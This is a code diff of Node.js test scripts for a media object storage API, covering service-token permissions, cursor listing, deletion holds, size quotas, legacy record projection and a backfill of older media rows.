- r = await call('POST', O, { bearer: tok(), headers: { 'x-ov-subject': `user:${SUBJECT}` }, body: { kind: 'asset', size_bytes: 3 } });
- assert.strictEqual(r.status, 201, JSON.stringify(r.body));
- assert.deepStrictEqual([r.body.object.owner.subject, r.body.object.metadata.created_by], [SUBJECT, 'svc:example']);
- const svcId = r.body.id;
- r = await call('PUT', `${O}/${svcId}/content`, { bearer: tok(), raw: Buffer.from('abc') });
- assert.strictEqual(r.status, 200);
- r = await call('POST', `${O}/${svcId}/complete`, { bearer: tok() });
- assert.strictEqual(r.body.lifecycle_status, 'ready');
- r = await call('POST', O, { bearer: tok(), headers: { 'x-ov-subject': 'alice' }, body: {} });
- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.object.invalid'], 'owner must be a usr_ subject');
- r = await call('POST', O, { bearer: tok({ ns: ['community'] }), body: {} });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied']);
- r = await call('POST', O, { bearer: tok({ cap: ['media.object.read'] }), body: {} });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'read grant cannot upload');
- r = await call('GET', `${O}?owner=${SUBJECT}`, { bearer: tok({ cap: ['media.object.read'] }) });
- assert.deepStrictEqual(r.body.objects.map(o => o.id), [svcId], 'read grant lists; owner filter');
- r = await call('GET', `${O}/${svcId}`, { bearer: tok({ cap: ['media.object.upload'] }) });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'upload grant cannot read');
- r = await call('POST', `${O}/${svcId}/holds`, { bearer: tok(), body: { kind: 'admin' } });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'holds are app-key only');
- r = await call('GET', `/api/v2/games/objects/${svcId}`, { bearer: 'games-key' });
- assert.strictEqual(r.status, 404, 'objects are namespaced');
- r = await call('GET', `/api/v2/games/objects/${svcId}`, { bearer: 'live-key' });
- assert.strictEqual(r.status, 403, "another app's key is refused");
- console.log('✅ service tokens: capability + namespace enforced, X-OV-Subject owns the object');
+ // ── Service tokens ──
+ r = await call('POST', O, { bearer: tok(), headers: { 'x-ov-subject': `user:${SUBJECT}` }, body: { kind: 'asset', size_bytes: 3 } });
+ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
+ assert.deepStrictEqual([r.body.object.owner.subject, r.body.object.metadata.created_by], [SUBJECT, 'svc:example']);
+ const svcId = r.body.id;
+ r = await call('PUT', `${O}/${svcId}/content`, { bearer: tok(), raw: Buffer.from('abc') });
+ assert.strictEqual(r.status, 200);
+ r = await call('POST', `${O}/${svcId}/complete`, { bearer: tok() });
+ assert.strictEqual(r.body.lifecycle_status, 'ready');
+ r = await call('POST', O, { bearer: tok(), headers: { 'x-ov-subject': 'alice' }, body: {} });
+ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.object.invalid'], 'owner must be a usr_ subject');
+ r = await call('POST', O, { bearer: tok({ ns: ['community'] }), body: {} });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied']);
+ r = await call('POST', O, { bearer: tok({ cap: ['media.object.read'] }), body: {} });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'read grant cannot upload');
+ r = await call('GET', `${O}?owner=${SUBJECT}`, { bearer: tok({ cap: ['media.object.read'] }) });
+ assert.deepStrictEqual(r.body.objects.map(o => o.id), [svcId], 'read grant lists; owner filter');
+ r = await call('GET', `${O}/${svcId}`, { bearer: tok({ cap: ['media.object.upload'] }) });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'upload grant cannot read');
+ r = await call('POST', `${O}/${svcId}/holds`, { bearer: tok(), body: { kind: 'admin' } });
+ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'holds are app-key only');
+ r = await call('GET', `/api/v2/games/objects/${svcId}`, { bearer: 'games-key' });
+ assert.strictEqual(r.status, 404, 'objects are namespaced');
+ r = await call('GET', `/api/v2/games/objects/${svcId}`, { bearer: 'live-key' });
+ assert.strictEqual(r.status, 403, "another app's key is refused");
+ console.log('✅ service tokens: capability + namespace enforced, X-OV-Subject owns the object');
- // ── Cursor listing ──
- const page1 = await call('GET', `${O}?limit=2`);
- assert.strictEqual(page1.body.objects.length, 2);
- assert.ok(page1.body.next_cursor);
- const page2 = await call('GET', `${O}?limit=2&cursor=${page1.body.next_cursor}`);
- const seen = [...page1.body.objects, ...page2.body.objects].map(o => o.id);
- assert.deepStrictEqual(seen, [svcId, pubId, id], 'newest first, no duplicates');
- assert.strictEqual(page2.body.next_cursor, null);
- assert.deepStrictEqual((await call('GET', `${O}?kind=screenshot`)).body.objects.map(o => o.id), [pubId]);
- assert.deepStrictEqual((await call('GET', `${O}?visibility=private&kind=file`)).body.objects.map(o => o.id), [id]);
- assert.strictEqual((await call('GET', `${O}?cursor=nope`)).status, 400);
- console.log('✅ cursor listing with filters');
+ // ── Cursor listing ──
+ const page1 = await call('GET', `${O}?limit=2`);
+ assert.strictEqual(page1.body.objects.length, 2);
+ assert.ok(page1.body.next_cursor);
+ const page2 = await call('GET', `${O}?limit=2&cursor=${page1.body.next_cursor}`);
+ const seen = [...page1.body.objects, ...page2.body.objects].map(o => o.id);
+ assert.deepStrictEqual(seen, [svcId, pubId, id], 'newest first, no duplicates');
+ assert.strictEqual(page2.body.next_cursor, null);
+ assert.deepStrictEqual((await call('GET', `${O}?kind=screenshot`)).body.objects.map(o => o.id), [pubId]);
+ assert.deepStrictEqual((await call('GET', `${O}?visibility=private&kind=file`)).body.objects.map(o => o.id), [id]);
+ assert.strictEqual((await call('GET', `${O}?cursor=nope`)).status, 400);
+ console.log('✅ cursor listing with filters');
- // ── Acting users see public + their own ──
- r = await call('POST', O, { headers: { 'x-ov-user-id': '7' }, body: { kind: 'file', visibility: 'private' } });
- const sevens = r.body.id;
- assert.strictEqual(r.body.object.owner.user_id, 7);
- assert.strictEqual((await call('GET', `${O}/${sevens}`, { headers: { 'x-ov-user-id': '8' } })).status, 404);
- assert.ok(!(await call('GET', O, { headers: { 'x-ov-user-id': '8' } })).body.objects.some(o => o.id === sevens || o.id === id), 'no enumeration of others\' private objects');
- assert.ok((await call('GET', O, { headers: { 'x-ov-user-id': '7' } })).body.objects.some(o => o.id === sevens));
- assert.strictEqual((await call('DELETE', `${O}/${pubId}`, { headers: { 'x-ov-user-id': '8' } })).status, 403);
- console.log('✅ acting users: public + own objects only');
+ // ── Acting users see public + their own ──
+ r = await call('POST', O, { headers: { 'x-ov-user-id': '7' }, body: { kind: 'file', visibility: 'private' } });
+ const sevens = r.body.id;
+ assert.strictEqual(r.body.object.owner.user_id, 7);
+ assert.strictEqual((await call('GET', `${O}/${sevens}`, { headers: { 'x-ov-user-id': '8' } })).status, 404);
+ assert.ok(!(await call('GET', O, { headers: { 'x-ov-user-id': '8' } })).body.objects.some(o => o.id === sevens || o.id === id), 'no enumeration of others\' private objects');
+ assert.ok((await call('GET', O, { headers: { 'x-ov-user-id': '7' } })).body.objects.some(o => o.id === sevens));
+ assert.strictEqual((await call('DELETE', `${O}/${pubId}`, { headers: { 'x-ov-user-id': '8' } })).status, 403);
+ console.log('✅ acting users: public + own objects only');
- // ── Holds, soft delete, restore ──
- r = await call('POST', `${O}/${id}/holds`, { body: { kind: 'dmca', reason: 'notice 42' } });
- assert.strictEqual(r.status, 201);
- const holdId = r.body.id;
- assert.strictEqual(r.body.created_by, 'app:live');
- assert.strictEqual((await call('GET', `${O}/${id}`)).body.held, true);
- r = await call('DELETE', `${O}/${id}`);
- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held']);
- assert.strictEqual((await call('POST', `${O}/${id}/holds`, { body: { kind: 'nope' } })).status, 400);
- assert.strictEqual((await call('GET', `${O}/${id}/holds`)).body.holds.length, 1);
- r = await call('DELETE', `${O}/${id}/holds/${holdId}`);
- assert.ok(r.body.released_at);
- assert.strictEqual((await call('GET', `${O}/${id}/holds`)).body.holds.length, 0);
- assert.strictEqual((await call('GET', `${O}/${id}/holds?all=1`)).body.holds.length, 1);
- r = await call('DELETE', `${O}/${id}`);
- assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'deleted']);
- assert.ok(fs.existsSync(stored), 'soft delete keeps the bytes');
- assert.strictEqual((await call('GET', local(signed), { bearer: null })).status, 410, 'a deleted object is gone, even with a valid signature');
- assert.strictEqual((await call('GET', `${O}/${id}/download`)).status, 410);
- assert.ok(!(await call('GET', O)).body.objects.some(o => o.id === id), 'deleted objects leave the default listing');
- assert.ok((await call('GET', `${O}?include_deleted=1`)).body.objects.some(o => o.id === id));
- r = await call('POST', `${O}/${id}/restore`);
- assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'ready']);
- assert.strictEqual((await call('POST', `${O}/${id}/restore`)).status, 409);
- console.log('✅ holds block deletion (409); soft delete keeps bytes; restore');
+ // ── Holds, soft delete, restore ──
+ r = await call('POST', `${O}/${id}/holds`, { body: { kind: 'dmca', reason: 'notice 42' } });
+ assert.strictEqual(r.status, 201);
+ const holdId = r.body.id;
+ assert.strictEqual(r.body.created_by, 'app:live');
+ assert.strictEqual((await call('GET', `${O}/${id}`)).body.held, true);
+ r = await call('DELETE', `${O}/${id}`);
+ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held']);
+ assert.strictEqual((await call('POST', `${O}/${id}/holds`, { body: { kind: 'nope' } })).status, 400);
+ assert.strictEqual((await call('GET', `${O}/${id}/holds`)).body.holds.length, 1);
+ r = await call('DELETE', `${O}/${id}/holds/${holdId}`);
+ assert.ok(r.body.released_at);
+ assert.strictEqual((await call('GET', `${O}/${id}/holds`)).body.holds.length, 0);
+ assert.strictEqual((await call('GET', `${O}/${id}/holds?all=1`)).body.holds.length, 1);
+ r = await call('DELETE', `${O}/${id}`);
+ assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'deleted']);
+ assert.ok(fs.existsSync(stored), 'soft delete keeps the bytes');
+ assert.strictEqual((await call('GET', local(signed), { bearer: null })).status, 410, 'a deleted object is gone, even with a valid signature');
+ assert.strictEqual((await call('GET', `${O}/${id}/download`)).status, 410);
+ assert.ok(!(await call('GET', O)).body.objects.some(o => o.id === id), 'deleted objects leave the default listing');
+ assert.ok((await call('GET', `${O}?include_deleted=1`)).body.objects.some(o => o.id === id));
+ r = await call('POST', `${O}/${id}/restore`);
+ assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'ready']);
+ assert.strictEqual((await call('POST', `${O}/${id}/restore`)).status, 409);
+ console.log('✅ holds block deletion (409); soft delete keeps bytes; restore');
- // ── Integrity + limits ──
- r = await call('POST', O, { body: { kind: 'file', content_hash: sha(Buffer.from('expected')) } });
- const badId = r.body.id;
- await call('PUT', `${O}/${badId}/content`, { raw: Buffer.from('something else') });
- r = await call('POST', `${O}/${badId}/complete`);
- assert.deepStrictEqual([r.status, r.body.code], [422, 'media.object.hash_mismatch']);
- assert.strictEqual((await call('POST', O, { body: { kind: 'file', content_hash: 'xyz' } })).status, 400);
- assert.strictEqual((await call('POST', O, { body: { kind: 'nope' } })).status, 400);
- r = await call('POST', O, { body: { kind: 'file', size_bytes: 2 * 1024 * 1024 } });
- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'MEDIA_OBJECT_MAX_MB at init');
- r = await call('POST', O, { body: { kind: 'file' } });
- r = await call('PUT', `${O}/${r.body.id}/content`, { raw: crypto.randomBytes(1024 * 1024 + 10) });
- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'and while streaming');
- r = await call('POST', O, { body: { kind: 'vod', visibility: 'public', size_bytes: 10 } });
- assert.deepStrictEqual([r.status, r.body.code], [422, 'media.invariant.public_object_too_large'], 'public playback objects over the invariant are refused');
- r = await call('POST', O, { body: { kind: 'vod', visibility: 'private', size_bytes: 10 } });
- assert.strictEqual(r.status, 201, 'private ones are not public playback');
- const T = '/api/v2/tiny/objects';
- assert.deepStrictEqual([(r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 30 } })).status, r.body.code], [413, 'media.quota.exceeded']);
- assert.strictEqual((await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 10 } })).status, 201);
- r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 15 } });
- assert.strictEqual(r.status, 413, 'reservations count against the quota at init');
- r = await call('POST', T, { bearer: 'tiny-key', body: {} });
- r = await call('PUT', `${T}/${r.body.id}/content`, { bearer: 'tiny-key', raw: Buffer.alloc(15) });
- assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'and again with the real size');
- assert.deepStrictEqual(fs.readdirSync(path.join(process.env.OBJECTS_PATH, '.tmp')), [], 'refused uploads leave no temp files');
- console.log('✅ hash mismatch, size limit, invariant and quota enforced');
+ // ── Integrity + limits ──
+ r = await call('POST', O, { body: { kind: 'file', content_hash: sha(Buffer.from('expected')) } });
+ const badId = r.body.id;
+ await call('PUT', `${O}/${badId}/content`, { raw: Buffer.from('something else') });
+ r = await call('POST', `${O}/${badId}/complete`);
+ assert.deepStrictEqual([r.status, r.body.code], [422, 'media.object.hash_mismatch']);
+ assert.strictEqual((await call('POST', O, { body: { kind: 'file', content_hash: 'xyz' } })).status, 400);
+ assert.strictEqual((await call('POST', O, { body: { kind: 'nope' } })).status, 400);
+ r = await call('POST', O, { body: { kind: 'file', size_bytes: 2 * 1024 * 1024 } });
+ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'MEDIA_OBJECT_MAX_MB at init');
+ r = await call('POST', O, { body: { kind: 'file' } });
+ r = await call('PUT', `${O}/${r.body.id}/content`, { raw: crypto.randomBytes(1024 * 1024 + 10) });
+ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.object.too_large'], 'and while streaming');
+ r = await call('POST', O, { body: { kind: 'vod', visibility: 'public', size_bytes: 10 } });
+ assert.deepStrictEqual([r.status, r.body.code], [422, 'media.invariant.public_object_too_large'], 'public playback objects over the invariant are refused');
+ r = await call('POST', O, { body: { kind: 'vod', visibility: 'private', size_bytes: 10 } });
+ assert.strictEqual(r.status, 201, 'private ones are not public playback');
+ const T = '/api/v2/tiny/objects';
+ assert.deepStrictEqual([(r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 30 } })).status, r.body.code], [413, 'media.quota.exceeded']);
+ assert.strictEqual((await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 10 } })).status, 201);
+ r = await call('POST', T, { bearer: 'tiny-key', body: { size_bytes: 15 } });
+ assert.strictEqual(r.status, 413, 'reservations count against the quota at init');
+ r = await call('POST', T, { bearer: 'tiny-key', body: {} });
+ r = await call('PUT', `${T}/${r.body.id}/content`, { bearer: 'tiny-key', raw: Buffer.alloc(15) });
+ assert.deepStrictEqual([r.status, r.body.code], [413, 'media.quota.exceeded'], 'and again with the real size');
+ assert.deepStrictEqual(fs.readdirSync(path.join(process.env.OBJECTS_PATH, '.tmp')), [], 'refused uploads leave no temp files');
+ console.log('✅ hash mismatch, size limit, invariant and quota enforced');
- // ── Legacy projections through v2 ──
- r = await call('POST', '/api/v1/live/vods', { body: { title: 'Rec', user_id: 3 } });
- const vodId = r.body.id;
- const legacy = `legacy:live:vod:${vodId}`;
- r = await call('GET', `${O}/${legacy}`);
- assert.deepStrictEqual([r.status, r.body.kind, r.body.lifecycle_status, r.body.legacy_ref], [200, 'vod', 'uploading', legacy], 'a v1 vod creates its object; readable by legacy ref');
- const vodObj = r.body.id;
- assert.strictEqual((await call('DELETE', `${O}/${vodObj}`)).body.code, 'media.object.legacy_managed');
- fs.writeFileSync(path.join(process.env.VOD_PATH, 'v.webm'), 'x');
- db.run('UPDATE vods SET file_path = ?, file_size = 1, duration_seconds = 5 WHERE id = ?', [path.join(process.env.VOD_PATH, 'v.webm'), vodId]);
- model.sync('vod', vodId);
- r = await call('GET', `${O}/${vodObj}/download`);
- assert.deepStrictEqual([r.status, r.headers.get('location')], [302, `https://media.test/v/${vodId}`], 'public legacy objects redirect to their inherited URL');
- await call('POST', `${O}/${vodObj}/holds`, { body: { kind: 'evidence' } });
- r = await call('DELETE', `/api/v1/live/vods/${vodId}`);
- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held'], 'v1 delete honours the hold');
- assert.ok(fs.existsSync(path.join(process.env.VOD_PATH, 'v.webm')));
- const fd = new FormData();
- fd.append('file', new Blob([Buffer.from('data')], { type: 'text/plain' }), 'x.txt');
- r = await fetch(`${base}/api/v1/live/files`, { method: 'POST', headers: { authorization: 'Bearer live-key' }, body: fd }).then(async (x) => ({ status: x.status, body: await x.json() }));
- assert.strictEqual(r.status, 201);
- const fileObj = (await call('GET', `${O}/legacy:live:file:${r.body.key}`)).body;
- assert.deepStrictEqual([fileObj.kind, fileObj.content_hash, fileObj.visibility], ['file', r.body.sha256, 'public'], 'v1 file upload creates its object');
- await call('POST', `${O}/${fileObj.id}/holds`, { body: { kind: 'moderation' } });
- assert.strictEqual((await call('DELETE', `/api/v1/live/files/${r.body.key}`)).status, 409);
- const v1List = await call('GET', '/api/v1/live/files');
- assert.ok(!('object_id' in v1List.body.files[0]), 'v1 responses are unchanged');
- console.log('✅ legacy projections: readable via v2, deleted only via v1, holds honoured there');
+ // ── Legacy projections through v2 ──
+ r = await call('POST', '/api/v1/live/vods', { body: { title: 'Rec', user_id: 3 } });
+ const vodId = r.body.id;
+ const legacy = `legacy:live:vod:${vodId}`;
+ r = await call('GET', `${O}/${legacy}`);
+ assert.deepStrictEqual([r.status, r.body.kind, r.body.lifecycle_status, r.body.legacy_ref], [200, 'vod', 'uploading', legacy], 'a v1 vod creates its object; readable by legacy ref');
+ const vodObj = r.body.id;
+ assert.strictEqual((await call('DELETE', `${O}/${vodObj}`)).body.code, 'media.object.legacy_managed');
+ fs.writeFileSync(path.join(process.env.VOD_PATH, 'v.webm'), 'x');
+ await db.run('UPDATE vods SET file_path = ?, file_size = 1, duration_seconds = 5 WHERE id = ?', [path.join(process.env.VOD_PATH, 'v.webm'), vodId]);
+ await model.sync('vod', vodId);
+ r = await call('GET', `${O}/${vodObj}/download`);
+ assert.deepStrictEqual([r.status, r.headers.get('location')], [302, `https://media.test/v/${vodId}`], 'public legacy objects redirect to their inherited URL');
+ await call('POST', `${O}/${vodObj}/holds`, { body: { kind: 'evidence' } });
+ r = await call('DELETE', `/api/v1/live/vods/${vodId}`);
+ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held'], 'v1 delete honours the hold');
+ assert.ok(fs.existsSync(path.join(process.env.VOD_PATH, 'v.webm')));
+ const fd = new FormData();
+ fd.append('file', new Blob([Buffer.from('data')], { type: 'text/plain' }), 'x.txt');
+ r = await fetch(`${base}/api/v1/live/files`, { method: 'POST', headers: { authorization: 'Bearer live-key' }, body: fd }).then(async (x) => ({ status: x.status, body: await x.json() }));
+ assert.strictEqual(r.status, 201);
+ const fileObj = (await call('GET', `${O}/legacy:live:file:${r.body.key}`)).body;
+ assert.deepStrictEqual([fileObj.kind, fileObj.content_hash, fileObj.visibility], ['file', r.body.sha256, 'public'], 'v1 file upload creates its object');
+ await call('POST', `${O}/${fileObj.id}/holds`, { body: { kind: 'moderation' } });
+ assert.strictEqual((await call('DELETE', `/api/v1/live/files/${r.body.key}`)).status, 409);
+ const v1List = await call('GET', '/api/v1/live/files');
+ assert.ok(!('object_id' in v1List.body.files[0]), 'v1 responses are unchanged');
+ console.log('✅ legacy projections: readable via v2, deleted only via v1, holds honoured there');
- server.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('object API v2: all checks passed');
-})().catch((err) => { console.error(err); server.close(); process.exit(1); });
+ server.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('object API v2: all checks passed');
+ })().catch((err) => { console.error(err); server.close(); process.exit(1); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -8,237 +8,242 @@ const fs = require('fs');
@@ -8,237 +8,242 @@ const fs = require('fs');
const os = require('os');
const os = require('os');
const path = require('path');
const path = require('path');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-objects-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.CLIPS_PATH = dir('clips');
-process.env.FILES_PATH = dir('files');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.PASTES_PATH = dir('pastes');
-process.env.OBJECTS_PATH = dir('objects');
-process.env.MEDIA_PUBLIC_URL = 'https://media.test';
-process.env.MEDIA_B2_BUCKET = 'bkt-b2'; // bucket name only: no endpoint, so B2 is not configured
-process.env.MEDIA_R2_BUCKET = 'bkt-r2';
-process.env.MEDIA_PUBLIC_OBJECT_TARGET_MB = '1';
-process.env.MEDIA_PUBLIC_OBJECT_WARN_MB = '2';
-process.env.MEDIA_PUBLIC_OBJECT_MAX_MB = '3';
-
-const contracts = require('openvibe-contracts');
-const db = require('../server/db/database');
-const model = require('../server/objects/model');
-const { backfill } = require('../server/objects/backfill');
-const invariant = require('../server/objects/invariant');
-const vodStorage = require('../server/vod/vod-storage');
-
-const MB = 1024 * 1024;
-const MED = /^med_[0-9A-HJKMNP-TV-Z]{26}$/;
-const d = db.getDb();
-const write = (p, bytes) => { fs.mkdirSync(path.dirname(p), { recursive: true }); fs.writeFileSync(p, Buffer.alloc(bytes, 7)); return p; };
-const objOf = (table, id) => model.getObject(d.prepare(`SELECT object_id FROM ${table} WHERE ${table === 'files' ? 'key' : 'id'} = ?`).get(id).object_id);
-const locs = (o) => Object.fromEntries(model.listLocations(o.id).map(l => [l.provider, l]));
-
-// ── Inherited rows, inserted raw (no hooks), the way the cutover import left them ──
-const vodFile = write(path.join(process.env.VOD_PATH, 'vod-live-1.webm'), 1000);
-write(path.join(process.env.THUMBNAILS_PATH, 'vod-1-111.jpg'), 50);
-const insVod = d.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, duration_seconds, visibility, is_public, storage_provider, storage_key, thumbnail_url, clips_only, is_recording, created_at)
- VALUES (@id, @app, @user, @title, @file, @size, @dur, @vis, @pub, @prov, @key, @thumb, @co, 0, @at)`);
-const V = (o) => insVod.run({ app: 'live', user: 5, title: 'V', file: null, size: 0, dur: 60, vis: 'public', pub: 1, prov: 'local', key: null, thumb: null, co: 0, at: '2025-06-01 10:00:00', ...o });
-V({ id: 1, file: vodFile, size: 1000, thumb: '/t/vod-1-111.jpg', at: '2025-01-01 00:00:00' }); // local, present
-V({ id: 2, file: '/old/host/vods/old.webm', size: 5 * MB, vis: 'unlisted', pub: 0, prov: 'b2', key: 'vods/old.webm' }); // offloaded
-V({ id: 3, file: '/old/host/vods/pop.mp4', size: 2.5 * MB, prov: 'r2', key: 'vods/pop.mp4', thumb: 'https://elsewhere.example/x.jpg' });
-V({ id: 4, file: '/opt/hobostreamer/data/vods/gone.webm', size: 50 }); // local but gone
-V({ id: 5, file: path.join(process.env.VOD_PATH, 'eph.webm'), co: 1 }); // clips-only
-V({ id: 6, dur: 0 }); // ghost: no file yet
-V({ id: 7, app: 'games', file: vodFile, size: 1000, vis: 'private', pub: 0 });
-const clipFile = write(path.join(process.env.CLIPS_PATH, 'clip-1.webm'), 300);
-d.prepare("INSERT INTO clips (id, app_id, vod_id, user_id, title, file_path, status, visibility, is_public, start_time, end_time) VALUES (1, 'live', 1, 9, 'C', ?, 'ready', 'public', 1, 5, 15)").run(clipFile);
-d.prepare("INSERT INTO clips (id, app_id, vod_id, user_id, title, file_path, status) VALUES (2, 'live', 1, 9, 'C2', '', 'processing')").run();
-write(path.join(process.env.FILES_PATH, 'live', 'abc123-a.txt'), 12);
-d.prepare("INSERT INTO files (key, app_id, user_id, original_name, size, mime, sha256) VALUES ('abc123-a.txt', 'live', 3, 'a.txt', 12, 'text/plain', ?)").run('a'.repeat(64));
-const shot = write(path.join(process.env.PASTES_PATH, 'screenshots', 's1.png'), 40);
-const avatar = write(path.join(process.env.PASTES_PATH, 'screenshots', 'avatar-n4.webp'), 30);
-d.prepare("INSERT INTO pastes (id, app_id, slug, user_id, type, title, content, visibility, screenshot_path, metadata) VALUES (1, 'live', 'shot-one', 2, 'screenshot', 'S', '', 'public', ?, NULL)").run(shot);
-d.prepare("INSERT INTO pastes (id, app_id, slug, user_id, type, title, content, visibility, screenshot_path, metadata) VALUES (2, 'network', 'avatar-four', 4, 'screenshot', 'Avatar', '', 'unlisted', ?, ?)").run(avatar, JSON.stringify({ kind: 'avatar', mime_type: 'image/webp' }));
-d.prepare("INSERT INTO pastes (id, app_id, slug, type, title, content, visibility) VALUES (3, 'live', 'text-three', 'paste', 'T', 'hello', 'public')").run();
-d.prepare("INSERT INTO pastes (id, app_id, slug, type, title, content, visibility, screenshot_path) VALUES (4, 'live', 'shot-nopath', 'screenshot', 'S', '', 'public', NULL)").run();
-const mtimes = [vodFile, clipFile, shot, avatar].map(p => fs.statSync(p).mtimeMs);
-
-// ── Dry run: a full report, nothing written ──
-const dry = backfill({ dryRun: true });
-assert.strictEqual(dry.dry_run, true);
-assert.deepStrictEqual(dry.counts.vod, { seen: 7, created: 6, updated: 0, skipped: 1 });
-assert.strictEqual(d.prepare('SELECT COUNT(*) c FROM media_objects').get().c, 0, 'dry run writes no objects');
-assert.strictEqual(d.prepare('SELECT COUNT(*) c FROM vods WHERE object_id IS NOT NULL').get().c, 0, 'dry run links no rows');
-assert.strictEqual(model.parseJson(d.prepare("SELECT value FROM media_settings WHERE key = 'objects.backfill.last_report'").get()?.value, null), null, 'dry run stores no report');
-console.log('✅ dry run reports without writing');
-
-// ── Real run ──
-const r = backfill();
-assert.deepStrictEqual(r.counts.vod, { seen: 7, created: 6, updated: 0, skipped: 1 });
-assert.deepStrictEqual(r.counts.clip, { seen: 2, created: 2, updated: 0, skipped: 0 });
-assert.deepStrictEqual(r.counts.file, { seen: 1, created: 1, updated: 0, skipped: 0 });
-assert.deepStrictEqual(r.counts.screenshot, { seen: 2, created: 1, updated: 0, skipped: 1 });
-assert.deepStrictEqual(r.counts.avatar, { seen: 1, created: 1, updated: 0, skipped: 0 });
-assert.deepStrictEqual(r.counts.thumbnail, { seen: 2, created: 1, updated: 0, skipped: 1 });
-assert.deepStrictEqual(r.skipped.map(s => s.reason).sort(), ['clips-only recording (ephemeral, never published)', 'external thumbnail url', 'screenshot paste without a file path']);
-assert.deepStrictEqual(r.errors, []);
-assert.ok(d.prepare("SELECT value FROM media_settings WHERE key = 'objects.backfill.last_report'").get(), 'report recorded');
-assert.deepStrictEqual([vodFile, clipFile, shot, avatar].map(p => fs.statSync(p).mtimeMs), mtimes, 'no bytes touched');
-
-const v1 = objOf('vods', 1), v2 = objOf('vods', 2), v3 = objOf('vods', 3), v4 = objOf('vods', 4), v6 = objOf('vods', 6), v7 = objOf('vods', 7);
-for (const o of [v1, v2, v3, v4, v6, v7]) {
- assert.ok(MED.test(o.id), o.id);
- assert.ok(contracts.validate('media.media-ref@1', { media_id: o.id }).valid, 'canonical id is a valid media-ref');
- assert.ok(contracts.validate('media.media-ref@1', { media_id: o.legacy_ref }).valid, `legacy ref valid: ${o.legacy_ref}`);
-}
-assert.ok(v1.id < v2.id, 'ids sort by the original creation time');
-assert.strictEqual(v1.legacy_ref, 'legacy:live:vod:1');
-assert.deepStrictEqual([v1.kind, v1.visibility, v1.lifecycle_status, v1.size_bytes, v1.owner_app, v1.owner_user_id, v1.mime_type], ['vod', 'public', 'ready', 1000, 'live', 5, 'video/webm']);
-assert.strictEqual(locs(v1).local.state, 'present');
-assert.strictEqual(locs(v1).local.key, vodFile);
-assert.ok(locs(v1).local.verified_at, 'a local file that exists is verified present');
-assert.deepStrictEqual([v1.canonical_provider, v1.canonical_key], ['local', vodFile]);
-assert.deepStrictEqual(Object.keys(locs(v2)), ['b2'], 'offloaded vod: B2 copy only');
-assert.deepStrictEqual([locs(v2).b2.state, locs(v2).b2.bucket, locs(v2).b2.key, locs(v2).b2.storage_class, v2.canonical_provider], ['pending', 'bkt-b2', 'vods/old.webm', 'cold', 'b2']);
-assert.deepStrictEqual(Object.keys(locs(v3)).sort(), ['b2', 'r2'], 'R2 cache implies the B2 canonical');
-assert.deepStrictEqual([locs(v3).r2.state, locs(v3).r2.storage_class, v3.canonical_provider], ['pending', 'cache', 'b2']);
-assert.strictEqual(locs(v4).local.state, 'missing', 'a local file that is not on disk is recorded missing');
-assert.strictEqual(model.listLocations(v6.id).length, 0);
-assert.strictEqual(v6.lifecycle_status, 'uploading');
-assert.deepStrictEqual([v7.app_id, v7.namespace, v7.visibility], ['games', 'games', 'private']);
-assert.strictEqual(d.prepare('SELECT object_id FROM vods WHERE id = 5').get().object_id, null, 'clips-only row stays unprojected');
-
-const c1 = objOf('clips', 1), c2 = objOf('clips', 2);
-assert.deepStrictEqual([c1.kind, c1.lifecycle_status, c1.size_bytes, locs(c1).local.state], ['clip', 'ready', 300, 'present']);
-assert.strictEqual(c2.lifecycle_status, 'uploading', 'a clip still being cut is uploading');
-const rel = d.prepare("SELECT * FROM media_relationships WHERE from_object_id = ? AND relation = 'clip_of'").get(c1.id);
-assert.strictEqual(rel.to_object_id, v1.id, 'clip_of links the clip to its vod');
-assert.deepStrictEqual(JSON.parse(rel.metadata), { start_time: 5, end_time: 15 });
-
-const f = objOf('files', 'abc123-a.txt');
-assert.deepStrictEqual([f.kind, f.visibility, f.content_hash, f.mime_type, f.legacy_ref, locs(f).local.checksum], ['file', 'public', 'a'.repeat(64), 'text/plain', 'legacy:live:file:abc123-a.txt', 'a'.repeat(64)]);
-const s1 = objOf('pastes', 1), av = objOf('pastes', 2);
